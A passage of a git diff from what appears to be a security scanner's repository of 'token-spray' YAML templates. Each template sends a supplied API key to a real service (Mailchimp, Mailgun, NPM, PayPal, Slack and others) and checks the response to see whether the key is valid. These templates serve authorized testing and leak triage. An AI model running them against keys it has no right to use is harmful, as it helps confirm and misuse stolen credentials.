{{base64(hex_decode('00')+'apikey'+hex_decode('00')+token)}}\r\n" diff --git a/poc/api/api-mailchimp.yaml b/poc/api/api-mailchimp.yaml new file mode 100644 index 0000000000..e4b8320148 --- /dev/null +++ b/poc/api/api-mailchimp.yaml @@ -0,0 +1,25 @@ +id: api-mailchimp + +info: + name: Mailchimp API Test + author: zzeitlin + severity: info + reference: + - https://mailchimp.com/developer/transactional/docs/smtp-integration/#credentials-and-configuration + metadata: + max-request: 1 + tags: token-spray,mailchimp + +self-contained: true +tcp: + - inputs: + - data: "AUTH PLAIN {{base64(hex_decode('00')+'apikey'+hex_decode('00')+token)}}\r\n" + read: 1024 + host: + - "tls://smtp.mandrillapp.com:465" + matchers: + - type: word + words: + - "success" + +# digest: 4a0a00473045022100b4eb64da1397b088e79ad142e529bdcebf13e631a212114a75db9967cd77285602203beaf28b6d9f0ab5ac9c41b7a4ee514b88d73f2adc8283f68f011af024c09c8b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-mailgun-455.yaml b/poc/api/api-mailgun-455.yaml index ac24bdb9b4..3667ba1c69 100644 --- a/poc/api/api-mailgun-455.yaml +++ b/poc/api/api-mailgun-455.yaml @@ -3,31 +3,18 @@ id: api-mailgun info: name: Mailgun API Test author: zzeitlin + reference: https://documentation.mailgun.com/en/latest/api-intro.html severity: info - description: Email Service - reference: - - https://documentation.mailgun.com/en/latest/api-intro.html - - https://github.com/daffainfo/all-about-apikey/tree/main/mailgun - metadata: - max-request: 1 tags: token-spray,mailgun -self-contained: true - -http: +requests: - method: GET path: - "https://api.mailgun.net/v3/domains" - headers: Authorization: Basic {{base64('api:' + token)}} - matchers: - - type: word - part: body - words: - - '"total_count":' - - '"items":' - - '"created_at":' - condition: and -# digest: 490a00463044022017959a95e024fcff4806de7f1fdb66380733e2cbd2d6769373fe14805ba0525902206f514f2f93928486eb249ff9b41d2f9ab0583e9f54a55b0d804cf31a9f0e61e5:922c64590222798bb761d5b6d8e72950 + matchers: + - type: status + status: + - 200 diff --git a/poc/api/api-malshare-457.yaml b/poc/api/api-malshare-457.yaml index 69f9e105b3..d486f6f0fd 100644 --- a/poc/api/api-malshare-457.yaml +++ b/poc/api/api-malshare-457.yaml @@ -4,17 +4,13 @@ info: name: MalShare API Test author: daffainfo severity: info - description: Malware Archive / file sourcing reference: - https://malshare.com/doc.php - - https://github.com/daffainfo/all-about-apikey/tree/main/malshare - metadata: - max-request: 1 + - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/MalShare.md tags: token-spray,malshare self-contained: true - -http: +requests: - method: GET path: - "https://api.malshare.com/api.php?api_key={{token}}&action=getlist" @@ -26,5 +22,3 @@ http: - '"md5":' - '"sha1":' condition: and - -# digest: 490a0046304402201f0d28dc875a5526f01fcabdb2e73a860ecff61d46cd931f8ec3a2652a45f7dc022033d354822af70d6a3fd65f68e1eb820b413743b263a7d0dfbac4a62a28e23c42:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-malshare-456.yaml b/poc/api/api-malshare.yaml similarity index 100% rename from poc/api/api-malshare-456.yaml rename to poc/api/api-malshare.yaml diff --git a/poc/api/api-malwarebazaar-458.yaml b/poc/api/api-malwarebazaar-458.yaml index ce99bd0a43..4a424faa68 100644 --- a/poc/api/api-malwarebazaar-458.yaml +++ b/poc/api/api-malwarebazaar-458.yaml @@ -4,13 +4,17 @@ info: name: MalwareBazaar API Test author: daffainfo severity: info + description: Collect and share malware samples reference: - https://bazaar.abuse.ch/api/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Anti-Malware/MalwareBazaar.md - tags: token-spray,malwarebazaar + - https://github.com/daffainfo/all-about-apikey/tree/main/malwarebazaar + metadata: + max-request: 1 + tags: token-spray,malwarebazaar,intrusive self-contained: true -requests: + +http: - raw: - | POST https://mb-api.abuse.ch/api/v1 HTTP/1.1 @@ -38,3 +42,5 @@ requests: - '"query_status": "inserted"' - '"query_status": "file_already_known"' condition: or + +# digest: 4b0a00483046022100f5d19c2f0a4b8aaf9f21dd936fba07954a82d880f3c014db4faba4fb2a535538022100bf2a275e923f4190c5b7d398ac019329cdb75af155007fe5b6822fc577741533:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-malwarebazaar-459.yaml b/poc/api/api-malwarebazaar-459.yaml index 4a424faa68..f261796b92 100644 --- a/poc/api/api-malwarebazaar-459.yaml +++ b/poc/api/api-malwarebazaar-459.yaml @@ -4,17 +4,13 @@ info: name: MalwareBazaar API Test author: daffainfo severity: info - description: Collect and share malware samples reference: - https://bazaar.abuse.ch/api/ - - https://github.com/daffainfo/all-about-apikey/tree/main/malwarebazaar - metadata: - max-request: 1 - tags: token-spray,malwarebazaar,intrusive + - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/MalwareBazaar.md + tags: token-spray,malwarebazaar self-contained: true - -http: +requests: - raw: - | POST https://mb-api.abuse.ch/api/v1 HTTP/1.1 @@ -42,5 +38,3 @@ http: - '"query_status": "inserted"' - '"query_status": "file_already_known"' condition: or - -# digest: 4b0a00483046022100f5d19c2f0a4b8aaf9f21dd936fba07954a82d880f3c014db4faba4fb2a535538022100bf2a275e923f4190c5b7d398ac019329cdb75af155007fe5b6822fc577741533:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-mapbox-465.yaml b/poc/api/api-mapbox.yaml similarity index 100% rename from poc/api/api-mapbox-465.yaml rename to poc/api/api-mapbox.yaml diff --git a/poc/api/api-mywot-467.yaml b/poc/api/api-mywot-467.yaml index 2440afe842..7256c5d9e8 100644 --- a/poc/api/api-mywot-467.yaml +++ b/poc/api/api-mywot-467.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://support.mywot.com/hc/en-us/sections/360004477734-API- - - https://github.com/daffainfo/all-about-apikey/blob/main/Anti-Malware/Web%20of%20Trust.md + - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/Web%20of%20Trust.md tags: token-spray,weboftrust self-contained: true diff --git a/poc/api/api-mywot.yaml b/poc/api/api-mywot.yaml deleted file mode 100644 index 7256c5d9e8..0000000000 --- a/poc/api/api-mywot.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-mywot - -info: - name: My Web of Trust API - author: daffainfo - severity: info - reference: - - https://support.mywot.com/hc/en-us/sections/360004477734-API- - - https://github.com/daffainfo/all-about-apikey/blob/main/Anti%20Malware/Web%20of%20Trust.md - tags: token-spray,weboftrust - -self-contained: true -requests: - - raw: - - | - GET https://scorecard.api.mywot.com/v3/targets?t=hbo.com&t=google.com HTTP/1.1 - Host: scorecard.api.mywot.com - x-user-id: {{id}} - x-api-key: {{token}} - - matchers: - - type: word - part: body - words: - - '"target":' - - '"safety":' - condition: and diff --git a/poc/api/api-nerdgraph-469.yaml b/poc/api/api-nerdgraph-469.yaml index d67d458faa..d367685e7f 100644 --- a/poc/api/api-nerdgraph-469.yaml +++ b/poc/api/api-nerdgraph-469.yaml @@ -3,10 +3,11 @@ id: api-nerdgraph info: name: New Relic NerdGraph API Test author: zzeitlin - reference: https://docs.newrelic.com/docs/apis/nerdgraph/get-started/introduction-new-relic-nerdgraph/ severity: info + reference: https://docs.newrelic.com/docs/apis/nerdgraph/get-started/introduction-new-relic-nerdgraph/ tags: token-spray,newrelic,nerdgraph +self-contained: true requests: - method: POST path: diff --git a/poc/api/api-nerdgraph.yaml b/poc/api/api-nerdgraph.yaml new file mode 100644 index 0000000000..d67d458faa --- /dev/null +++ b/poc/api/api-nerdgraph.yaml @@ -0,0 +1,24 @@ +id: api-nerdgraph + +info: + name: New Relic NerdGraph API Test + author: zzeitlin + reference: https://docs.newrelic.com/docs/apis/nerdgraph/get-started/introduction-new-relic-nerdgraph/ + severity: info + tags: token-spray,newrelic,nerdgraph + +requests: + - method: POST + path: + - "https://api.newrelic.com/graphql" + headers: + Content-Type: application/json + API-Key: "{{token}}" + body: "{ \"query\": \"{ requestContext { userId apiKey }}\" }" + + matchers: + - type: word + part: body + negative: true + words: + - 'errors' diff --git a/poc/api/api-npm-471.yaml b/poc/api/api-npm-471.yaml index 8da0e80e85..cfe2c86746 100644 --- a/poc/api/api-npm-471.yaml +++ b/poc/api/api-npm-471.yaml @@ -3,27 +3,20 @@ id: api-npm info: name: NPM API Test author: zzeitlin + reference: https://docs.npmjs.com/creating-and-viewing-access-tokens severity: info - reference: - - https://docs.npmjs.com/creating-and-viewing-access-tokens - metadata: - max-request: 1 - tags: token-spray,node,npm + tags: token-spray,node,npm,package,manager -self-contained: true - -http: +requests: - method: GET path: - "https://registry.npmjs.org/-/whoami" - headers: Authorization: Bearer {{token}} + matchers: - type: status status: - 401 - 403 negative: true - -# digest: 4a0a00473045022057be80c1e2ae7c8da088ffc2e109095690a3b333ed148cb7c0d3ebb41859c9ac022100968578a69a2226a9117634bc5534e63a92150c0e3606b29ed93de9def127527f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-onelogin-472.yaml b/poc/api/api-onelogin-472.yaml new file mode 100644 index 0000000000..1a1de60b69 --- /dev/null +++ b/poc/api/api-onelogin-472.yaml @@ -0,0 +1,33 @@ +id: api-onelogin + +info: + name: OneLogin API Test + author: dwisiswant0 + severity: info + reference: + - https://developers.onelogin.com/api-docs/2/getting-started/dev-overview + metadata: + max-request: 2 + tags: token-spray,onelogin + +self-contained: true + +http: + - method: GET + path: + - "https://api.us.onelogin.com/api/2/apps" + - "https://api.eu.onelogin.com/api/2/apps" + + headers: + Authorization: Bearer {{token}} + stop-at-first-match: true + matchers: + - type: word + part: body + words: + - '"id":' + - '"connector_id":' + - '"auth_method":' + condition: and + +# digest: 4b0a00483046022100c863b1c5238bae97a22123c1fbcc2dffca09b867f1799b647646ae4ecc1fa317022100e9d0e913bb9c5089ceb35ecb0caa5f24a658dbd956febbb59d91a64027c9c728:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-onelogin.yaml b/poc/api/api-onelogin.yaml deleted file mode 100644 index d8369ad80b..0000000000 --- a/poc/api/api-onelogin.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-onelogin - -info: - name: OneLogin API Test - author: dwisiswant0 - severity: info - reference: https://developers.onelogin.com/api-docs/2/getting-started/dev-overview - tags: token-spray,onelogin - -self-contained: true -requests: - - method: GET - path: - - "https://api.us.onelogin.com/api/2/apps" - - "https://api.eu.onelogin.com/api/2/apps" - headers: - Authorization: Bearer {{token}} - - stop-at-first-match: true - matchers: - - type: word - part: body - words: - - '"id":' - - '"connector_id":' - - '"auth_method":' - condition: and diff --git a/poc/api/api-openweather-473.yaml b/poc/api/api-openweather-473.yaml index 13a26aecc3..1a877122eb 100644 --- a/poc/api/api-openweather-473.yaml +++ b/poc/api/api-openweather-473.yaml @@ -4,11 +4,15 @@ info: name: OpenWeather API Test author: zzeitlin severity: info - reference: https://openweathermap.org/current + reference: + - https://openweathermap.org/current + metadata: + max-request: 1 tags: token-spray,weather,openweather self-contained: true -requests: + +http: - method: GET path: - "https://api.openweathermap.org/data/2.5/weather?q=Chicago&appid={{token}}" @@ -21,3 +25,5 @@ requests: - '"weather":' - '"base":' condition: and + +# digest: 4b0a00483046022100c54d596dea68046089f94fb3ed62db35252087b778ee5bb706b8422af037d778022100d3f11ed86c08e3843863a3b82f7c76cdd2c1e8383f888042600d7e852ccef018:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-pagerduty.yaml b/poc/api/api-pagerduty.yaml deleted file mode 100644 index fcc00d7e88..0000000000 --- a/poc/api/api-pagerduty.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: api-pagerduty - -info: - name: Pagerduty API Test - author: zzeitlin - reference: https://developer.pagerduty.com/api-reference - severity: info - tags: token-spray,pagerduty - -requests: - - method: GET - path: - - "https://api.pagerduty.com/schedules" - headers: - Accept: application/vnd.pagerduty+json;version=2 - Authorization: Token token={{token}} - - matchers: - - type: status - status: - - 401 - negative: true diff --git a/poc/api/api-particle-476.yaml b/poc/api/api-particle-476.yaml new file mode 100644 index 0000000000..7fd36025f7 --- /dev/null +++ b/poc/api/api-particle-476.yaml @@ -0,0 +1,33 @@ +id: api-particle + +info: + name: Particle Cloud API Test + author: dwisiswant0 + severity: info + reference: + - https://docs.particle.io/reference + metadata: + max-request: 1 + tags: token-spray,particle + +self-contained: true + +http: + - method: GET + path: + - "https://api.particle.io/v1/user?access_token={{token}}" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"account_info":' + - '"username":' + condition: and + +# digest: 4b0a00483046022100bdc80c6ab6f6f31007268b2006a018595e619f909ad03619f5f8d7906defc63d022100aaf67b853ba2ebbf005b13d1efc075e07e700f2a3bcdd4686f9d1e1a21cb2bd4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-particle.yaml b/poc/api/api-particle.yaml deleted file mode 100644 index 447f87a4a7..0000000000 --- a/poc/api/api-particle.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-particle - -info: - name: Particle Cloud API Test - author: dwisiswant0 - severity: info - reference: https://docs.particle.io/reference - tags: token-spray,particle - -self-contained: true -requests: - - method: GET - path: - - "https://api.particle.io/v1/user?access_token={{token}}" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"account_info":' - - '"username":' - condition: and diff --git a/poc/api/api-paypal-478.yaml b/poc/api/api-paypal-478.yaml new file mode 100644 index 0000000000..9d561acaea --- /dev/null +++ b/poc/api/api-paypal-478.yaml @@ -0,0 +1,35 @@ +id: api-paypal + +info: + name: PayPal API Test + author: dwisiswant0 + severity: info + reference: + - https://developer.paypal.com/docs/api/overview/ + metadata: + max-request: 1 + tags: token-spray,paypal + +self-contained: true + +http: + - method: GET + path: + - "https://api-m.sandbox.paypal.com/v1/identity/oauth2/userinfo?schema=paypalv1.1" + + headers: + Content-Type: application/json + Authorization: Bearer {{token}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + negative: true + regex: + - "error(_description)?" + +# digest: 4a0a004730450220316097ce4aff8b3acd0a539f16273572397fb3fc12375b821bee780a2a7424fd022100a770709957c50f5b0abd0caec3d87244a2d382ce65ae9a8a9ce7d74623bd93d9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-paypal.yaml b/poc/api/api-paypal.yaml deleted file mode 100644 index a880ee9976..0000000000 --- a/poc/api/api-paypal.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: api-paypal - -info: - name: PayPal API Test - author: dwisiswant0 - reference: https://developer.paypal.com/docs/api/overview/ - severity: info - tags: token-spray,paypal - -self-contained: true -requests: - - method: GET - path: - - "https://api-m.sandbox.paypal.com/v1/identity/oauth2/userinfo?schema=paypalv1.1" - headers: - Content-Type: application/json - Authorization: Bearer {{token}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - negative: true - regex: - - "error(_description)?" \ No newline at end of file diff --git a/poc/api/api-pendo-479.yaml b/poc/api/api-pendo-479.yaml index 8ea141bcc0..023a6f347c 100644 --- a/poc/api/api-pendo-479.yaml +++ b/poc/api/api-pendo-479.yaml @@ -3,21 +3,23 @@ id: api-pendo info: name: Pendo API Test author: zzeitlin - reference: https://help.pendo.io/resources/support-library/api/index.html severity: info + reference: https://help.pendo.io/resources/support-library/api/index.html tags: token-spray,pendo +self-contained: true requests: - method: GET path: - "https://app.pendo.io/api/v1/feature" - - "https://app.pendo.io/api/v1/metadata/schema/account" headers: Content-Type: application/json X-Pendo-Integration-Key: "{{token}}" matchers: - - type: status - status: - - 403 - negative: true \ No newline at end of file + - type: word + part: body + words: + - '"createdByUser":' + - '"id":' + condition: and \ No newline at end of file diff --git a/poc/api/api-petfinder-480.yaml b/poc/api/api-petfinder-480.yaml deleted file mode 100644 index 7067e2d97a..0000000000 --- a/poc/api/api-petfinder-480.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: api-petfinder - -info: - name: Petfinder API Test - author: daffainfo - severity: info - description: Petfinder is dedicated to helping pets find homes, another resource to get pets adopted - reference: - - https://www.petfinder.com/developers/v2/docs/ - - https://github.com/daffainfo/all-about-apikey/tree/main/petfinder - metadata: - max-request: 1 - tags: token-spray,petfinder - -self-contained: true - -http: - - raw: - - | - POST https://api.petfinder.com/v2/oauth2/token HTTP/1.1 - Host: api.petfinder.com - Content-Type: application/x-www-form-urlencoded - Content-Length: 81 - - grant_type=client_credentials&client_id={{id}}&client_secret={{secret}} - - matchers: - - type: word - part: body - words: - - '"token_type"' - - '"expires_in"' - - '"access_token"' - condition: and - -# digest: 490a0046304402205df678454684e798c9f3bfe4c88e7b86a5fe36217b85109635c57b13df65cbc702202539e9116f2321678f5c72b1f510e253761d1e1c425ee6cd15fcdc3bac2f77e5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-petfinder.yaml b/poc/api/api-petfinder.yaml new file mode 100644 index 0000000000..ae0b6866a1 --- /dev/null +++ b/poc/api/api-petfinder.yaml @@ -0,0 +1,31 @@ +id: api-petfinder + +info: + name: Petfinder API Test + author: daffainfo + severity: info + description: Petfinder is dedicated to helping pets find homes, another resource to get pets adopted + reference: + - https://www.petfinder.com/developers/v2/docs/ + - https://github.com/daffainfo/all-about-apikey/tree/main/petfinder + tags: token-spray,petfinder + +self-contained: true +requests: + - raw: + - | + POST https://api.petfinder.com/v2/oauth2/token HTTP/1.1 + Host: api.petfinder.com + Content-Type: application/x-www-form-urlencoded + Content-Length: 81 + + grant_type=client_credentials&client_id={{id}}&client_secret={{secret}} + + matchers: + - type: word + part: body + words: + - '"token_type"' + - '"expires_in"' + - '"access_token"' + condition: and diff --git a/poc/api/api-pinata-481.yaml b/poc/api/api-pinata-481.yaml deleted file mode 100644 index a2a7c68b11..0000000000 --- a/poc/api/api-pinata-481.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: api-pinata - -info: - name: Pinata API Test - author: daffainfo - severity: info - description: IPFS Pinning Services API - reference: - - https://docs.pinata.cloud/ - - https://github.com/daffainfo/all-about-apikey/tree/main/pinata - metadata: - max-request: 1 - tags: token-spray,pinata - -self-contained: true - -http: - - raw: - - | - GET https://api.pinata.cloud/data/pinList?status=pinned HTTP/1.1 - Host: api.pinata.cloud - pinata_api_key: {{token}} - pinata_secret_api_key: {{secret}} - - matchers: - - type: word - part: body - words: - - '"id"' - - '"ipfs_pin_hash"' - condition: and - -# digest: 4a0a0047304502210084b17cc869f96b2fa7f8b058f8230f387233d015d16b030c2756f417e6544bd8022007dab03aa667aa18ef1acdb45d0029325ab854b1d82b75a297cbb2c307ab85c8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-pinata.yaml b/poc/api/api-pinata.yaml new file mode 100644 index 0000000000..89660d1f6e --- /dev/null +++ b/poc/api/api-pinata.yaml @@ -0,0 +1,28 @@ +id: api-pinata + +info: + name: Pinata API Test + author: daffainfo + severity: info + description: IPFS Pinning Services API + reference: + - https://docs.pinata.cloud/ + - https://github.com/daffainfo/all-about-apikey/tree/main/pinata + tags: token-spray,pinata + +self-contained: true +requests: + - raw: + - | + GET https://api.pinata.cloud/data/pinList?status=pinned HTTP/1.1 + Host: api.pinata.cloud + pinata_api_key: {{token}} + pinata_secret_api_key: {{secret}} + + matchers: + - type: word + part: body + words: + - '"id"' + - '"ipfs_pin_hash"' + condition: and diff --git a/poc/api/api-pivotaltracker.yaml b/poc/api/api-pivotaltracker.yaml new file mode 100644 index 0000000000..c52e04af9a --- /dev/null +++ b/poc/api/api-pivotaltracker.yaml @@ -0,0 +1,22 @@ +id: api-pivotaltracker + +info: + name: PivotalTracker API Test + author: zzeitlin + reference: https://www.pivotaltracker.com/help/api + severity: info + tags: token-spray,pivotaltracker + +requests: + - method: GET + path: + - "https://www.pivotaltracker.com/services/v5/me" + headers: + X-TrackerToken: "{{token}}" + + matchers: + - type: word + part: body + negative: true + words: + - 'invalid_authentication' diff --git a/poc/api/api-postmark-483.yaml b/poc/api/api-postmark-483.yaml index 2b6f1fb642..b9bec134db 100644 --- a/poc/api/api-postmark-483.yaml +++ b/poc/api/api-postmark-483.yaml @@ -4,22 +4,18 @@ info: name: PostMark API Test author: zzeitlin severity: info - reference: - - https://postmarkapp.com/developer/api/overview - metadata: - max-request: 1 + reference: https://postmarkapp.com/developer/api/overview tags: token-spray,postmark self-contained: true - -http: +requests: - method: GET path: - "https://api.postmarkapp.com/server" - headers: Accept: application/json X-Postmark-Server-Token: "{{token}}" + matchers: - type: word part: body @@ -28,5 +24,3 @@ http: - '"Name":' - '"ApiTokens":' condition: and - -# digest: 4b0a004830460221009f72230cb95ff7d337df8d19e0c572446a58a42ce5f962b301ee655a73cb3d93022100d773d742b5fea63e0a0d73c936e4343ce548f2dc8f0183b8649a4f92b64b4552:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-rijksmuseum.yaml b/poc/api/api-rijksmuseum-485.yaml similarity index 100% rename from poc/api/api-rijksmuseum.yaml rename to poc/api/api-rijksmuseum-485.yaml diff --git a/poc/api/api-rijksmuseum-486.yaml b/poc/api/api-rijksmuseum-486.yaml index 11327595a7..f1500d1263 100644 --- a/poc/api/api-rijksmuseum-486.yaml +++ b/poc/api/api-rijksmuseum-486.yaml @@ -4,13 +4,17 @@ info: name: Rijksmuseum API Test author: daffainfo severity: info + description: The Rijksmuseum is a Dutch national museum dedicated to arts and history in Amsterdam reference: - https://data.rijksmuseum.nl/user-generated-content/api/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Rijksmuseum.md + - https://github.com/daffainfo/all-about-apikey/tree/main/rijksmuseum + metadata: + max-request: 1 tags: token-spray,rijksmuseum self-contained: true -requests: + +http: - method: GET path: - "https://www.rijksmuseum.nl/api/nl/usersets?key={{token}}&format=json&page=2" @@ -23,3 +27,5 @@ requests: - '"userSets":' - '"user":' condition: and + +# digest: 490a0046304402203ed9071547cab4d54079b5acd65400ebac41141b473043fc6d628d5bffab0cd8022048ab79963d73de63bf2ab554313a4a583fdaead099d7561eabf3ec3f17042d3b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-scanii-487.yaml b/poc/api/api-scanii-487.yaml new file mode 100644 index 0000000000..237f5e82dd --- /dev/null +++ b/poc/api/api-scanii-487.yaml @@ -0,0 +1,32 @@ +id: api-scanii + +info: + name: Scanii API Test + author: daffainfo + severity: info + description: Simple REST API that can scan submitted documents/files for the presence of threats + reference: + - https://docs.scanii.com/v2.1/resources.html + - https://github.com/daffainfo/all-about-apikey/tree/main/scanii + metadata: + max-request: 1 + tags: token-spray,scanii + +self-contained: true + +http: + - raw: + - | + GET https://api.scanii.com/v2.1/ping HTTP/1.1 + Authorization: Basic {{base64(api + ':' + secret)}} + Host: api.scanii.com + + matchers: + - type: word + part: body + words: + - '"key"' + - '"message" : "pong"' + condition: and + +# digest: 4a0a00473045022078f825c2797fe08f026fddaa434bd3b1841c0692a1bf603fd611ea755c3dd2c9022100b3a0b85cdd13e42a0cfd47d5cce8339db6615475a64ad404ab873801fd4874a8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-scanii.yaml b/poc/api/api-scanii.yaml deleted file mode 100644 index a50bcb42a1..0000000000 --- a/poc/api/api-scanii.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: api-scanii - -info: - name: Scanii API Test - author: daffainfo - severity: info - reference: - - https://docs.scanii.com/v2.1/resources.html - - https://github.com/daffainfo/all-about-apikey/blob/main/Anti-Malware/Scanii.md - tags: token-spray,scanii - -self-contained: true -requests: - - raw: - - | - GET https://api.scanii.com/v2.1/ping HTTP/1.1 - Authorization: Basic {{base64(api + ':' + secret)}} - Host: api.scanii.com - - matchers: - - type: word - part: body - words: - - '"key"' - - '"message" : "pong"' - condition: and diff --git a/poc/api/api-sendgrid.yaml b/poc/api/api-sendgrid.yaml index b887b0b7d1..3bf3692649 100644 --- a/poc/api/api-sendgrid.yaml +++ b/poc/api/api-sendgrid.yaml @@ -3,20 +3,26 @@ id: api-sendgrid info: name: Sendgrid API Test author: zzeitlin - reference: https://docs.sendgrid.com/for-developers/sending-email/getting-started-smtp severity: info + reference: + - https://docs.sendgrid.com/for-developers/sending-email/getting-started-smtp + metadata: + max-request: 1 tags: token-spray,sendgrid -network: +self-contained: true +tcp: - inputs: - data: "ehlo\r\n" read: 1024 + - data: "AUTH PLAIN {{base64(hex_decode('00')+'apikey'+hex_decode('00')+token)}}\r\n" read: 1024 host: - "tls://smtp.sendgrid.net:465" - matchers: - type: word words: - "Authentication successful" + +# digest: 4b0a004830460221008e0e74cc516e39557ab0c6778b54c5057b78391e494874ccb1cb0affe9888d67022100892b564dc499c64d59217eb15a6fdecdf2c0b5873366ee7093b857e2a2b43e92:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-slack-493.yaml b/poc/api/api-slack-493.yaml index 2703830f3a..d9a36d5801 100644 --- a/poc/api/api-slack-493.yaml +++ b/poc/api/api-slack-493.yaml @@ -7,6 +7,7 @@ info: severity: info tags: token-spray,slack +self-contained: true requests: - method: POST path: @@ -18,5 +19,7 @@ requests: - type: word part: body words: - - 'error' - negative: true + - '"url":' + - '"team_id":' + - '"user_id":' + condition: and \ No newline at end of file diff --git a/poc/api/api-sonarcloud-494.yaml b/poc/api/api-sonarcloud-494.yaml new file mode 100644 index 0000000000..f9759a80d3 --- /dev/null +++ b/poc/api/api-sonarcloud-494.yaml @@ -0,0 +1,28 @@ +id: api-sonarcloud + +info: + name: SonarCloud API Test + author: zzeitlin + severity: info + reference: + - https://sonarcloud.io/web_api/api/authentication + metadata: + max-request: 1 + tags: token-spray,sonarcloud + +self-contained: true + +http: + - method: GET + path: + - "https://sonarcloud.io/api/authentication/validate" + + headers: + Authorization: Basic {{base64(token + ':')}} + matchers: + - type: word + part: body + words: + - '{"valid": true}' + +# digest: 4b0a00483046022100efd628805e8fd72d321c4b392a3a0b8594e4b5995a3e34fe8e4c212f233c4f3e02210097834810422bd619f28fd298381cc681d7d5453360fa2b1dcf1135313c620a44:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-sonarcloud.yaml b/poc/api/api-sonarcloud.yaml deleted file mode 100644 index 97831db0bd..0000000000 --- a/poc/api/api-sonarcloud.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: api-sonarcloud - -info: - name: SonarCloud API Test - author: zzeitlin - severity: info - reference: https://sonarcloud.io/web_api/api/authentication - tags: token-spray,sonarcloud - -self-contained: true -requests: - - method: GET - path: - - "https://sonarcloud.io/api/authentication/validate" - headers: - Authorization: Basic {{base64(token + ':')}} - - matchers: - - type: word - part: body - words: - - '{"valid": true}' diff --git a/poc/api/api-square-496.yaml b/poc/api/api-square-496.yaml index 383e3ddc8a..7ccb835189 100644 --- a/poc/api/api-square-496.yaml +++ b/poc/api/api-square-496.yaml @@ -7,6 +7,7 @@ info: severity: info tags: token-spray,square +self-contained: true requests: - method: GET path: diff --git a/poc/api/api-stytch-500.yaml b/poc/api/api-stytch-500.yaml new file mode 100644 index 0000000000..0a4a0536b3 --- /dev/null +++ b/poc/api/api-stytch-500.yaml @@ -0,0 +1,36 @@ +id: api-stytch + +info: + name: Stytch API Test + author: daffainfo + severity: info + description: User infrastructure for modern applications + reference: + - https://stytch.com/docs/api + - https://github.com/daffainfo/all-about-apikey/tree/main/stytch + metadata: + max-request: 1 + tags: token-spray,stytch + +self-contained: true + +http: + - raw: + - | + POST https://test.stytch.com/v1/users HTTP/1.1 + Authorization: Basic {{base64(id + ':' + secret)}} + Host: test.stytch.com + Content-Type: application/json + + {"email": "test@stytch.com"} + + matchers: + - type: word + part: body + words: + - '"status_code":' + - '"request_id":' + - '"user_id":' + condition: and + +# digest: 4b0a00483046022100a5cd3e56f14a5ca4f85a1244c252638f6287c623c199acd405e00ea2c8d2b4cb022100a793ced41f64583f4441e567c70c60d66e152ee792c7cea85a713109202c1662:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-stytch.yaml b/poc/api/api-stytch.yaml deleted file mode 100644 index 37caf808d3..0000000000 --- a/poc/api/api-stytch.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: api-stytch - -info: - name: Stytch API Test - author: daffainfo - severity: info - description: User infrastructure for modern applications - reference: - - https://stytch.com/docs/api - - https://github.com/daffainfo/all-about-apikey/tree/main/stytch - tags: token-spray,stytch - -self-contained: true -requests: - - raw: - - | - POST https://test.stytch.com/v1/users HTTP/1.1 - Authorization: Basic {{base64(id + ':' + secret)}} - Host: test.stytch.com - Content-Type: application/json - - {"email": "test@stytch.com"} - - matchers: - - type: word - part: body - words: - - '"status_code":' - - '"request_id":' - - '"user_id":' - condition: and \ No newline at end of file diff --git a/poc/api/api-taiga-501.yaml b/poc/api/api-taiga-501.yaml deleted file mode 100644 index 813c76f3ea..0000000000 --- a/poc/api/api-taiga-501.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: api-taiga - -info: - name: Taiga API Test - author: dwisiswant0 - severity: info - reference: - - https://docs.taiga.io/api.html - metadata: - max-request: 1 - tags: token-spray,taiga - -self-contained: true - -http: - - method: GET - path: - - "https://api.taiga.io/api/v1/application-tokens" - - headers: - Authorization: Bearer {{token}} - matchers: - - type: word - part: body - words: - - '"auth_code":' - - '"state":' - condition: and - -# digest: 4b0a00483046022100bf3ead9df9b8a73d035d356ac82460543b9f33a6ba786736564746301d5c75b1022100a498eba13eb325a9e2ecf7d1fe784b5598bb024e888df4601a928c19c9bb2f16:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-taiga.yaml b/poc/api/api-taiga.yaml new file mode 100644 index 0000000000..6e8748bdf1 --- /dev/null +++ b/poc/api/api-taiga.yaml @@ -0,0 +1,24 @@ +id: api-taiga + +info: + name: Taiga API Test + author: dwisiswant0 + reference: https://docs.taiga.io/api.html + severity: 